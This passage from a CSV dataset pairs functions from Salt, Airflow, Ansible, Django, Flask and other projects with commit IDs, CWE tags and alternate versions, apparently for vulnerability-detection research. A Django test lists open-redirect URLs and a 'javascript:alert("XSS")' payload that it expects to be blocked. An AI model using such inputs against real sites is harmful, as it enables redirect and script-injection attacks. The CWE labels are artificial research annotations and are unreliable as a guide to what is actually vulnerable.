    target_script = send_mock.call_args_list[0][0][1]
    assert re.search(r"".[a-z0-9]+"", target_script)
    mock_exec_cmd.assert_not_called()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/cp.py,0,"def recv(files, dest):
    '''
    Used with salt-cp, pass the files dict, and the destination.

    This function receives small fast copy files from the master via salt-cp
    '''
    ret = {}
    for path, data in files.items():
        if os.path.basename(path) == os.path.basename(dest)\
                and not os.path.isdir(dest):
            final = dest
        elif os.path.isdir(dest):
            final = os.path.join(dest, os.path.basename(path))
        elif os.path.isdir(os.path.dirname(dest)):
            final = dest
        else:
            return 'Destination unavailable'

        try:
            salt.utils.fopen(final, 'w+').write(data)
            ret[final] = True
        except IOError:
            ret[final] = False

    return ret",,saltstack/salt,b8b11e2691239813080fcd036f12d864182781eb,"def recv(files, dest):
    '''
    Used with salt-cp, pass the files dict, and the destination.

    This function receives small fast copy files from the master via salt-cp
    '''
    ret = {}
    for path, data in files.items():
        final = ''
        if os.path.basename(path) == os.path.basename(dest)\
                and not os.path.isdir(dest):
            final = dest
        elif os.path.isdir(dest):
            final = os.path.join(dest, os.path.basename(path))
        elif os.path.isdir(os.path.dirname(dest)):
            final = dest
        else:
            return 'Destination unavailable'

        try:
            salt.utils.fopen(final, 'w+').write(data)
            ret[final] = True
        except IOError:
            ret[final] = False

    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/shell/enter_shell.py,0,"def run_shell_with_build_image_checks(
    verbose: bool, dry_run: bool, shell_params: ShellParams
) -> Union[subprocess.CompletedProcess, subprocess.CalledProcessError]:
    """"""
    Executes a shell command built from params passed, checking if build is not needed.
    * checks if there are enough resources to run shell
    * checks if image was built at least once (if not - forces the build)
    * if not forces, checks if build is needed and asks the user if so
    * builds the image if needed
    * prints information about the build
    * constructs docker compose command to enter shell
    * executes it

    :param verbose: print commands when running
    :param dry_run: do not execute ""write"" commands - just print what would happen
    :param shell_params: parameters of the execution
    """"""
    check_docker_resources(verbose, shell_params.airflow_image_name, dry_run=dry_run)
    build_ci_image_check_cache = Path(
        BUILD_CACHE_DIR, shell_params.airflow_branch, f"".built_{shell_params.python}""
    )
    ci_image_params = BuildCiParams(python=shell_params.python, upgrade_to_newer_dependencies=False)
    if build_ci_image_check_cache.exists():
        if verbose:
            get_console().print(f'[info]{shell_params.the_image_type} image already built locally.[/]')
    else:
        get_console().print(
            f'[warning]{shell_params.the_image_type} image not built locally. Forcing build.[/]'
        )
        ci_image_params.force_build = True

    build_ci_image(verbose, dry_run=dry_run, with_ci_group=False, ci_image_params=ci_image_params)
    shell_params.print_badge_info()
    cmd = ['docker-compose', 'run', '--service-ports', ""-e"", ""BREEZE"", '--rm', 'airflow']
    cmd_added = shell_params.command_passed
    env_variables = construct_env_variables_docker_compose_command(shell_params)
    if cmd_added is not None:
        cmd.extend(['-c', cmd_added])
    return run_command(cmd, verbose=verbose, dry_run=dry_run, env=env_variables, text=True)",CWE-Unknown,apache/airflow,dd7002d905c89776c5d92fabd0591c02f2fc19f3,"def run_shell_with_build_image_checks(
    verbose: bool, dry_run: bool, shell_params: ShellParams
) -> Union[subprocess.CompletedProcess, subprocess.CalledProcessError]:
    """"""
    Executes a shell command built from params passed, checking if build is not needed.
    * checks if there are enough resources to run shell
    * checks if image was built at least once (if not - forces the build)
    * if not forces, checks if build is needed and asks the user if so
    * builds the image if needed
    * prints information about the build
    * constructs docker compose command to enter shell
    * executes it

    :param verbose: print commands when running
    :param dry_run: do not execute ""write"" commands - just print what would happen
    :param shell_params: parameters of the execution
    """"""
    check_docker_resources(verbose, shell_params.airflow_image_name, dry_run=dry_run)
    build_ci_image_check_cache = Path(
        BUILD_CACHE_DIR, shell_params.airflow_branch, f"".built_{shell_params.python}""
    )
    ci_image_params = BuildCiParams(python=shell_params.python, upgrade_to_newer_dependencies=False)
    if build_ci_image_check_cache.exists():
        get_console().print(f'[info]{shell_params.the_image_type} image already built locally.[/]')
    else:
        get_console().print(
            f'[warning]{shell_params.the_image_type} image not built locally. Forcing build.[/]'
        )
        ci_image_params.force_build = True

    build_ci_image(verbose, dry_run=dry_run, with_ci_group=False, ci_image_params=ci_image_params)
    shell_params.print_badge_info()
    cmd = ['docker-compose', 'run', '--service-ports', ""-e"", ""BREEZE"", '--rm', 'airflow']
    cmd_added = shell_params.command_passed
    env_variables = construct_env_variables_docker_compose_command(shell_params)
    if cmd_added is not None:
        cmd.extend(['-c', cmd_added])
    return run_command(cmd, verbose=verbose, dry_run=dry_run, env=env_variables, text=True)"
,UNKNOWN,UNKNOWN,tests/unit/modules/postgres_test.py,1,"def test_db_alter(self):
        postgres.db_alter('dbname',
                          user='testuser',
                          host='testhost',
                          port='testport',
                          maintenance_db='maint_db',
                          password='foo',
                          tablespace='testspace',
                          owner='otheruser',
                          runas='foo')
        postgres._run_psql.assert_called_once_with(
            '/usr/bin/pgsql --no-align --no-readline --username testuser '
            '--host testhost --port testport --dbname maint_db '
            '-c \'ALTER DATABASE ""dbname"" OWNER TO ""otheruser""\'',
            host='testhost', user='testuser',
            password='foo', runas='foo', port='testport')",CWE-259,saltstack/salt,3c52de252839750c662c1c7f626fc92168e8a20f,"def test_db_alter(self):
        postgres.db_alter('dbname',
                          user='testuser',
                          host='testhost',
                          port='testport',
                          maintenance_db='maint_db',
                          password='foo',
                          tablespace='testspace',
                          owner='otheruser',
                          runas='foo')
        postgres._run_psql.assert_called_once_with(
            '/usr/bin/pgsql --no-align --no-readline --username testuser '
            '--host testhost --port testport --dbname maint_db '
            '-c \'ALTER DATABASE ""dbname"" OWNER TO ""otheruser""\'',
            host='testhost', password='foo', runas='foo', port='testport')"
,UNKNOWN,UNKNOWN,test/units/plugins/action/test_action.py,1,"def test_action_base__fixup_perms2(self):
        mock_task = MagicMock()
        mock_connection = MagicMock()
        play_context = PlayContext()
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )
        action_base._low_level_execute_command = MagicMock()
        remote_paths = ['/tmp/foo/bar.txt', '/tmp/baz.txt']
        remote_user = 'remoteuser1'

        # Used for skipping down to common group dir.
        CHMOD_ACL_FLAGS = ('+a', 'A+user:remoteuser2:r:allow')

        def runWithNoExpectation(execute=False):
            return action_base._fixup_perms2(
                remote_paths,
                remote_user=remote_user,
                execute=execute)

        def assertSuccess(execute=False):
            self.assertEqual(runWithNoExpectation(execute), remote_paths)

        def assertThrowRegex(regex, execute=False):
            self.assertRaisesRegexp(
                AnsibleError,
                regex,
                action_base._fixup_perms2,
                remote_paths,
                remote_user=remote_user,
                execute=execute)

        def get_shell_option_for_arg(args_kv, default):
            '''A helper for get_shell_option. Returns a function that, if
            called with ``option`` that exists in args_kv, will return the
            value, else will return ``default`` for every other given arg'''
            def _helper(option, *args, **kwargs):
                return args_kv.get(option, default)
            return _helper

        action_base.get_become_option = MagicMock()
        action_base.get_become_option.return_value = 'remoteuser2'

        # Step 1: On windows, we just return remote_paths
        action_base._connection._shell._IS_WINDOWS = True
        assertSuccess(execute=False)
        assertSuccess(execute=True)

        # But if we're not on windows....we have more work to do.
        action_base._connection._shell._IS_WINDOWS = False

        # Step 2: We're /not/ becoming an unprivileged user
        action_base._remote_chmod = MagicMock()
        action_base._is_become_unprivileged = MagicMock()
        action_base._is_become_unprivileged.return_value = False
        # Two subcases:
        #   - _remote_chmod rc is 0
        #   - _remote-chmod rc is not 0, something failed
        action_base._remote_chmod.return_value = {
            'rc': 0,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertSuccess(execute=True)

        # When execute=False, we just get the list back. But add it here for
        # completion. chmod is never called.
        assertSuccess()

        action_base._remote_chmod.return_value = {
            'rc': 1,
            'stdout': 'some stuff here',
            'stderr': 'and here',
        }
        assertThrowRegex(
            'Failed to set execute bit on remote files',
            execute=True)

        # Step 3: we are becoming unprivileged
        action_base._is_become_unprivileged.return_value = True

        # Step 3a: setfacl
        action_base._remote_set_user_facl = MagicMock()
        action_base._remote_set_user_facl.return_value = {
            'rc': 0,
            'stdout': '',
            'stderr': '',
        }
        assertSuccess()

        # Step 3b: chmod +x if we need to
        # To get here, setfacl failed, so mock it as such.
        action_base._remote_set_user_facl.return_value = {
            'rc': 1,
            'stdout': '',
            'stderr': '',
        }
        action_base._remote_chmod.return_value = {
            'rc': 1,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertThrowRegex(
            'Failed to set file mode on remote temporary file',
            execute=True)
        action_base._remote_chmod.return_value = {
            'rc': 0,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertSuccess(execute=True)

        # Step 3c: chown
        action_base._remote_chown = MagicMock()
        action_base._remote_chown.return_value = {
            'rc': 0,
            'stdout': '',
            'stderr': '',
        }
        assertSuccess()
        action_base._remote_chown.return_value = {
            'rc': 1,
            'stdout': '',
            'stderr': '',
        }
        remote_user = 'root'
        action_base._get_admin_users = MagicMock()
        action_base._get_admin_users.return_value = ['root']
        assertThrowRegex('user would be unable to read the file.')
        remote_user = 'remoteuser1'

        # Step 3d: chmod +a on osx
        assertSuccess()
        action_base._remote_chmod.assert_called_with(
            ['remoteuser2 allow read'] + remote_paths,
            '+a')

        # This case can cause Solaris chmod to return 5 which the ssh plugin
        # treats as failure. To prevent a regression and ensure we still try the
        # rest of the cases below, we mock the thrown exception here.
        # This function ensures that only the macOS case (+a) throws this.
        def raise_if_plus_a(definitely_not_underscore, mode):
            if mode == '+a':
                raise AnsibleAuthenticationFailure()
            return {'rc': 0, 'stdout': '', 'stderr': ''}

        action_base._remote_chmod.side_effect = raise_if_plus_a
        assertSuccess()

        # Step 3e: chmod A+ on Solaris
        # We threw AnsibleAuthenticationFailure above, try Solaris fallback.
        # Based on our lambda above, it should be successful.
        action_base._remote_chmod.assert_called_with(
            remote_paths,
            'A+user:remoteuser2:r:allow')
        assertSuccess()

        # Step 3f: Common group
        def rc_1_if_chmod_acl(definitely_not_underscore, mode):
            rc = 0
            if mode in CHMOD_ACL_FLAGS:
                rc = 1
            return {'rc': rc, 'stdout': '', 'stderr': ''}

        action_base._remote_chmod = MagicMock()
        action_base._remote_chmod.side_effect = rc_1_if_chmod_acl

        get_shell_option = action_base.get_shell_option
        action_base.get_shell_option = MagicMock()
        action_base.get_shell_option.side_effect = get_shell_option_for_arg(
            {
                'common_remote_group': 'commongroup',
            },
            None)
        action_base._remote_chgrp = MagicMock()
        action_base._remote_chgrp.return_value = {
            'rc': 0,
            'stdout': '',
            'stderr': '',
        }
        # TODO: Add test to assert warning is shown if
        # ALLOW_WORLD_READABLE_TMPFILES is set in this case.
        assertSuccess()
        action_base._remote_chgrp.assert_called_once_with(
            remote_paths,
            'commongroup')

        # Step 4: world-readable tmpdir
        action_base.get_shell_option.side_effect = get_shell_option_for_arg(
            {
                'world_readable_temp': True,
                'common_remote_group': None,
            },
            None)
        action_base._remote_chmod.return_value = {
            'rc': 0,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertSuccess()
        action_base._remote_chmod = MagicMock()
        action_base._remote_chmod.return_value = {
            'rc': 1,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertThrowRegex('Failed to set file mode on remote files')

        # Otherwise if we make it here in this state, we hit the catch-all
        action_base.get_shell_option.side_effect = get_shell_option_for_arg(
            {},
            None)
        assertThrowRegex('on the temporary files Ansible needs to create')",CWE-703,ansible/ansible,02d07dcacee391bfe0911be83b52b4570ac6af46,"def test_action_base__fixup_perms2(self):
        mock_task = MagicMock()
        mock_connection = MagicMock()
        play_context = PlayContext()
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )
        action_base._low_level_execute_command = MagicMock()
        remote_paths = ['/tmp/foo/bar.txt', '/tmp/baz.txt']
        remote_user = 'remoteuser1'

        # Used for skipping down to common group dir.
        CHMOD_ACL_FLAGS = ('+a', 'A+user:remoteuser2:r:allow')

        def runWithNoExpectation(execute=False):
            return action_base._fixup_perms2(
                remote_paths,
                remote_user=remote_user,
                execute=execute)

        def assertSuccess(execute=False):
            self.assertEqual(runWithNoExpectation(execute), remote_paths)

        def assertThrowRegex(regex, execute=False):
            self.assertRaisesRegexp(
                AnsibleError,
                regex,
                action_base._fixup_perms2,
                remote_paths,
                remote_user=remote_user,
                execute=execute)

        def get_shell_option_for_arg(args_kv, default):
            '''A helper for get_shell_option. Returns a function that, if
            called with ``option`` that exists in args_kv, will return the
            value, else will return ``default`` for every other given arg'''
            def _helper(option, *args, **kwargs):
                return args_kv.get(option, default)
            return _helper

        action_base.get_become_option = MagicMock()
        action_base.get_become_option.return_value = 'remoteuser2'

        # Step 1: On windows, we just return remote_paths
        action_base._connection._shell._IS_WINDOWS = True
        assertSuccess(execute=False)
        assertSuccess(execute=True)

        # But if we're not on windows....we have more work to do.
        action_base._connection._shell._IS_WINDOWS = False

        # Step 2: We're /not/ becoming an unprivileged user
        action_base._remote_chmod = MagicMock()
        action_base._is_become_unprivileged = MagicMock()
        action_base._is_become_unprivileged.return_value = False
        # Two subcases:
        #   - _remote_chmod rc is 0
        #   - _remote-chmod rc is not 0, something failed
        action_base._remote_chmod.return_value = {
            'rc': 0,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertSuccess(execute=True)

        # When execute=False, we just get the list back. But add it here for
        # completion. chmod is never called.
        assertSuccess()

        action_base._remote_chmod.return_value = {
            'rc': 1,
            'stdout': 'some stuff here',
            'stderr': 'and here',
        }
        assertThrowRegex(
            'Failed to set execute bit on remote files',
            execute=True)

        # Step 3: we are becoming unprivileged
        action_base._is_become_unprivileged.return_value = True

        # Step 3a: setfacl
        action_base._remote_set_user_facl = MagicMock()
        action_base._remote_set_user_facl.return_value = {
            'rc': 0,
            'stdout': '',
            'stderr': '',
        }
        assertSuccess()

        # Step 3b: chmod +x if we need to
        # To get here, setfacl failed, so mock it as such.
        action_base._remote_set_user_facl.return_value = {
            'rc': 1,
            'stdout': '',
            'stderr': '',
        }
        action_base._remote_chmod.return_value = {
            'rc': 1,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertThrowRegex(
            'Failed to set file mode on remote temporary file',
            execute=True)
        action_base._remote_chmod.return_value = {
            'rc': 0,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertSuccess(execute=True)

        # Step 3c: chown
        action_base._remote_chown = MagicMock()
        action_base._remote_chown.return_value = {
            'rc': 0,
            'stdout': '',
            'stderr': '',
        }
        assertSuccess()
        action_base._remote_chown.return_value = {
            'rc': 1,
            'stdout': '',
            'stderr': '',
        }
        remote_user = 'root'
        action_base._get_admin_users = MagicMock()
        action_base._get_admin_users.return_value = ['root']
        assertThrowRegex('user would be unable to read the file.')
        remote_user = 'remoteuser1'

        # Step 3d: chmod +a on osx
        assertSuccess()
        action_base._remote_chmod.assert_called_with(
            ['remoteuser2 allow read'] + remote_paths,
            '+a')

        # This case can cause Solaris chmod to return 5 which the ssh plugin
        # treats as failure. To prevent a regression and ensure we still try the
        # rest of the cases below, we mock the thrown exception here.
        # This function ensures that only the macOS case (+a) throws this.
        def raise_if_plus_a(definitely_not_underscore, mode):
            if mode == '+a':
                raise AnsibleAuthenticationFailure()
            return {'rc': 0, 'stdout': '', 'stderr': ''}

        action_base._remote_chmod.side_effect = raise_if_plus_a
        assertSuccess()

        # Step 3e: Common group
        def rc_1_if_chmod_acl(definitely_not_underscore, mode):
            rc = 0
            if mode in CHMOD_ACL_FLAGS:
                rc = 1
            return {'rc': rc, 'stdout': '', 'stderr': ''}

        action_base._remote_chmod = MagicMock()
        action_base._remote_chmod.side_effect = rc_1_if_chmod_acl

        get_shell_option = action_base.get_shell_option
        action_base.get_shell_option = MagicMock()
        action_base.get_shell_option.side_effect = get_shell_option_for_arg(
            {
                'common_remote_group': 'commongroup',
            },
            None)
        action_base._remote_chgrp = MagicMock()
        action_base._remote_chgrp.return_value = {
            'rc': 0,
            'stdout': '',
            'stderr': '',
        }
        # TODO: Add test to assert warning is shown if
        # ALLOW_WORLD_READABLE_TMPFILES is set in this case.
        assertSuccess()
        action_base._remote_chgrp.assert_called_once_with(
            remote_paths,
            'commongroup')

        # Step 4: world-readable tmpdir
        action_base.get_shell_option.side_effect = get_shell_option_for_arg(
            {
                'world_readable_temp': True,
                'common_remote_group': None,
            },
            None)
        action_base._remote_chmod.return_value = {
            'rc': 0,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertSuccess()
        action_base._remote_chmod = MagicMock()
        action_base._remote_chmod.return_value = {
            'rc': 1,
            'stdout': 'some stuff here',
            'stderr': '',
        }
        assertThrowRegex('Failed to set file mode on remote files')

        # Otherwise if we make it here in this state, we hit the catch-all
        action_base.get_shell_option.side_effect = get_shell_option_for_arg(
            {},
            None)
        assertThrowRegex('on the temporary files Ansible needs to create')"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/test_views.py,1,"def test_security_check(self, password='password'):
        login_url = reverse('login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'http:///example.com',
                        'https://example.com',
                        'ftp://exampel.com',
                        '///example.com',
                        '//example.com',
                        'javascript:alert(""XSS"")'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertFalse(bad_url in response.url,
                             ""%s should be blocked"" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://exampel.com',
                         'view/?param=//example.com',
                         'https://testserver/',
                         'HTTPS://testserver/',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            response = self.client.post(safe_url, {
                'username': 'testclient',
                'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertTrue(good_url in response.url,
                            ""%s should be allowed"" % good_url)",CWE-259,django/django,255449c1ee61c14778658caae8c430fa4d76afd6,"def test_security_check(self, password='password'):
        login_url = reverse('login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'https://example.com',
                        'ftp://exampel.com',
                        '//example.com',
                        'javascript:alert(""XSS"")'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertFalse(bad_url in response.url,
                             ""%s should be blocked"" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://exampel.com',
                         'view/?param=//example.com',
                         'https:///',
                         'HTTPS:///',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            response = self.client.post(safe_url, {
                'username': 'testclient',
                'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertTrue(good_url in response.url,
                            ""%s should be allowed"" % good_url)"
,UNKNOWN,UNKNOWN,tests/lineage/test_lineage.py,1,"def test_lineage(self, dag_maker):
        f1s = ""/tmp/does_not_exist_1-{}""
        f2s = ""/tmp/does_not_exist_2-{}""
        f3s = ""/tmp/does_not_exist_3""
        file1 = File(f1s.format(""{{ ds }}""))
        file2 = File(f2s.format(""{{ ds }}""))
        file3 = File(f3s)

        with dag_maker(dag_id='test_prepare_lineage', start_date=DEFAULT_DATE) as dag:
            op1 = EmptyOperator(
                task_id='leave1',
                inlets=file1,
                outlets=[
                    file2,
                ],
            )
            op2 = EmptyOperator(task_id='leave2')
            op3 = EmptyOperator(task_id='upstream_level_1', inlets=AUTO, outlets=file3)
            op4 = EmptyOperator(task_id='upstream_level_2')
            op5 = EmptyOperator(task_id='upstream_level_3', inlets=[""leave1"", ""upstream_level_1""])

            op1.set_downstream(op3)
            op2.set_downstream(op3)
            op3.set_downstream(op4)
            op4.set_downstream(op5)

        dag.clear()
        dag_run = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)

        ctx1 = Context({""ti"": TI(task=op1, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})
        ctx2 = Context({""ti"": TI(task=op2, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})
        ctx3 = Context({""ti"": TI(task=op3, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})
        ctx5 = Context({""ti"": TI(task=op5, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})

        # prepare with manual inlets and outlets
        op1.pre_execute(ctx1)

        assert len(op1.inlets) == 1
        assert op1.inlets[0].url == f1s.format(DEFAULT_DATE)

        assert len(op1.outlets) == 1
        assert op1.outlets[0].url == f2s.format(DEFAULT_DATE)

        # post process with no backend
        op1.post_execute(ctx1)

        op2.pre_execute(ctx2)
        assert len(op2.inlets) == 0
        op2.post_execute(ctx2)

        op3.pre_execute(ctx3)
        assert len(op3.inlets) == 1
        assert isinstance(op3.inlets[0], File)
        assert op3.inlets[0].url == f2s.format(DEFAULT_DATE)
        assert op3.outlets[0] == file3
        op3.post_execute(ctx3)

        # skip 4

        op5.pre_execute(ctx5)
        # Task IDs should be removed from the inlets, replaced with the outlets of those tasks
        assert sorted(op5.inlets) == [file2, file3]
        op5.post_execute(ctx5)",CWE-703,apache/airflow,25a1a1b597ab20fa601a6b701f83ada02b6334a5,"def test_lineage(self, dag_maker):
        f1s = ""/tmp/does_not_exist_1-{}""
        f2s = ""/tmp/does_not_exist_2-{}""
        f3s = ""/tmp/does_not_exist_3""
        file1 = File(f1s.format(""{{ ds }}""))
        file2 = File(f2s.format(""{{ ds }}""))
        file3 = File(f3s)

        with dag_maker(dag_id='test_prepare_lineage', start_date=DEFAULT_DATE) as dag:
            op1 = EmptyOperator(
                task_id='leave1',
                inlets=file1,
                outlets=[
                    file2,
                ],
            )
            op2 = EmptyOperator(task_id='leave2')
            op3 = EmptyOperator(task_id='upstream_level_1', inlets=AUTO, outlets=file3)
            op4 = EmptyOperator(task_id='upstream_level_2')
            op5 = EmptyOperator(task_id='upstream_level_3', inlets=[""leave1"", ""upstream_level_1""])

            op1.set_downstream(op3)
            op2.set_downstream(op3)
            op3.set_downstream(op4)
            op4.set_downstream(op5)

        dag.clear()
        dag_run = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)

        ctx1 = Context({""ti"": TI(task=op1, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})
        ctx2 = Context({""ti"": TI(task=op2, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})
        ctx3 = Context({""ti"": TI(task=op3, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})
        ctx5 = Context({""ti"": TI(task=op5, run_id=dag_run.run_id), ""ds"": DEFAULT_DATE})

        # prepare with manual inlets and outlets
        op1.pre_execute(ctx1)

        assert len(op1.inlets) == 1
        assert op1.inlets[0].url == f1s.format(DEFAULT_DATE)

        assert len(op1.outlets) == 1
        assert op1.outlets[0].url == f2s.format(DEFAULT_DATE)

        # post process with no backend
        op1.post_execute(ctx1)

        op2.pre_execute(ctx2)
        assert len(op2.inlets) == 0
        op2.post_execute(ctx2)

        op3.pre_execute(ctx3)
        assert len(op3.inlets) == 1
        assert op3.inlets[0].url == f2s.format(DEFAULT_DATE)
        assert op3.outlets[0] == file3
        op3.post_execute(ctx3)

        # skip 4

        op5.pre_execute(ctx5)
        assert len(op5.inlets) == 2
        op5.post_execute(ctx5)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/model_utils.py,0,"def _get_flavor_configuration_from_ml_model_file(ml_model_file, flavor_name):
    model_conf = Model.load(ml_model_file)
    if flavor_name not in model_conf.flavors:
        raise MlflowException(
            'Model does not have the ""{flavor_name}"" flavor'.format(flavor_name=flavor_name),
            RESOURCE_DOES_NOT_EXIST,
        )
    return model_conf.flavors[flavor_name]",,mlflow/mlflow,c7e8b751f71ce1e1f01e91fc05dec924ac2c824f,"def _get_flavor_configuration_from_ml_model_file(ml_model_file, flavor_name):
    model_conf = Model.load(ml_model_file)
    if flavor_name not in model_conf.flavors:
        raise MlflowException(
            'Model does not have the ""{flavor_name}"" flavor'.format(flavor_name=flavor_name),
            RESOURCE_DOES_NOT_EXIST,
        )
    return model_conf.flavors[flavor_name]"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_os_chmod(self):
        """"""Test setting file permissions.""""""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 4, ""HIGH"": 8},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 1, ""HIGH"": 11},
        }
        self.check_example(""os-chmod.py"", expect)",UNKNOWN,PyCQA/bandit,5809d1bec788f88c88c99afd42b80c58ea876363,"def test_os_chmod(self):
        """"""Test setting file permissions.""""""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 2, ""HIGH"": 8},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 1, ""HIGH"": 9},
        }
        self.check_example(""os-chmod.py"", expect)"
,UNKNOWN,UNKNOWN,test/units/config/manager/test_find_ini_config_file.py,1,"def test_no_config(self, setup_env, setup_existing_files):
        """"""No config present, no config found""""""
        warnings = set()
        assert find_ini_config_file(warnings) is None
        assert warnings == set()",CWE-703,ansible/ansible,d89bd2d3c1c06d1043f3035ab6789d1b054ec089,"def test_no_config(self, setup_env, setup_existing_files):
        """"""No config present, no config found""""""
        warnings = set()
        assert find_ini_config_file(warnings) is None
        assert warnings == set()"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False, last_modified=None):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    ETags will also be attached automatically if a `filename` is provided. You
    can turn this off by setting `add_etags=False`.

    If `conditional=True` and `filename` is provided, this method will try to
    upgrade the response stream to support range requests.  This will allow
    the request to be answered with partial content response.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    .. versionchanged:: 0.12
       The filename is no longer automatically inferred from file objects. If
       you want to use automatic mimetype and etag support, pass a filepath via
       `filename_or_fp` or `attachment_filename`.

    .. versionchanged:: 0.12
       The `attachment_filename` is preferred over `filename` for MIME-type
       detection.

    :param filename_or_fp: the filename of the file to send in `latin-1`.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided. If a file path is
                     given, auto detection happens as fallback, otherwise an
                     error will be raised.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    :param last_modified: set the ``Last-Modified`` header to this value,
        a :class:`~datetime.datetime` or timestamp.
        If a file was passed, this overrides its mtime.
    """"""
    mtime = None
    fsize = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
        file = None
        if attachment_filename is None:
            attachment_filename = os.path.basename(filename)
    else:
        file = filename_or_fp
        filename = None

    if mimetype is None:
        if attachment_filename is not None:
            mimetype = mimetypes.guess_type(attachment_filename)[0] \
                or 'application/octet-stream'

        if mimetype is None:
            raise ValueError(
                'Unable to infer MIME-type because no filename is available. '
                'Please set either `attachment_filename`, pass a filepath to '
                '`filename_or_fp` or set your own MIME-type via `mimetype`.'
            )

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            raise TypeError('filename unavailable, required for '
                            'sending as attachment')
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        fsize = os.path.getsize(filename)
        headers['Content-Length'] = fsize
        data = None
    else:
        if file is None:
